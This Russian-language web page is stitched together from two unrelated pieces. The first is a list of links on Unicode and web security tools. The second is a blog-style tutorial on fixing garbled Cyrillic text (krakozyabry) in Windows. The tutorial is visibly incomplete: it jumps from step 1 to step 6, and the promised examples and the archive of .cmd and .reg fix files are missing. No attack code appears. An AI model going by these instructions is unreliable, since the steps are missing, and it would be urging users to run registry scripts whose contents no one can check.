  • unicode.org - официальный сайт консорциума Unicode. Все ответы по больной теме можно найти здесь.
  • macchiato.com/main - много полезных онлайнинструментов для работы с Unicode.
  • fiddler2.com/fiddler2 - Fiddler, мощный, расширяемый HTTPпрокси.
  • websecuritytool.codeplex.com - плагин к Fiddler для пассивного анализа HTTP-трафика.
  • lookout.net - сайт Криса Вебера, посвященный Unicode, вебу и аудиту программного обеспечения.
  • sirdarckcat.blogspot.com/2009/10/couple-of-unicodeissueson-php-and.html - пост в блоге sirdarckat по поводу PHP и Unicode.
  • googleblog.blogspot.com/2010/01/unicode-nearing-50of-web.html - статья в блоге гугла об общей тенденции роста использования Unicode.

Кракозябры - что за слово такое интересное? Этим словом обычно русские пользователи называют неправильное/неверное отображение (кодировку) символов в программах или самой Операционной Системы.
Почему такое случается? Однозначного ответа Вы не найдёте. Это может быть в следствии проделок наших "любимых" вирусов, может из-за сбоя работы ОС Windows (например пропало электричество и выключился компьютер), может программа создала конфликт с другой или ОС и всё "полетело". В общем причин может быть много, а самая интересная - это "Оно само вот так взяло и сломалось".
Читаем статью и узнаём как исправить проблему с кодировкой в программах и ОС Windows, раз уж она случилась.

Кто до сих пор не понял о чём я имею ввиду, вот вам несколько :


Кстати, я тоже попал однажды в эту ситуацию и до сих пор на Рабочем столе лежит файл, который помог мне справится с ней. Поэтому и решил написать данную статью.

За отображение кодировки (шрифта) в Windows отвечает несколько "вещей" - это язык, реестр и файлы самой ОС. Теперь будем их проверять по отдельности и по пунктам.

Как убрать и исправить кракозябры вместо русского (русских букв) в программе или Windows.

1. Проверяем установленный язык для программ, не поддерживающих Юникод. Может он у Вас сбился.

Итак, переходим по пути: Панель управления - Язык и региональные стандарты - вкладка Дополнительно
Там смотрим чтобы язык был Русский.


В Windows XP помимо этого внизу есть список "Кодовые страницы таблиц преобразования" и в нём есть строчка с цифрой 20880 . Нужно чтобы там тоже был Русский

6. Последний пункт, в котором я даю Вам файл, который помог мне всё исправить когда-то и именно поэтому я его оставил на память. Вот архив:

Внутри два файла: кракозбрoff.cmd и кракозбрoff.reg

Принцип у них одинаковый - исправить всеми способами иероглифы, квадратики, вопросы или восклицательные знаки в програмах и ОС Windows (в простонародье кракозябры ). Я пользовался первым и мне помогло.

Ну и напоследок пара советов:
1) Если работаете с реестром, то не забывайте делать бэкап (резервную копию) на тот случай, если что-то пойдёт не так.
2) Желательно после каждого пункта проверять 1ый пункт.

На этом всё. Теперь Вы знаете как исправить убрать/исправить Кракозябры (квадратики, иероглифы, восклицательные и вопросительные знаки) в программе или Windows.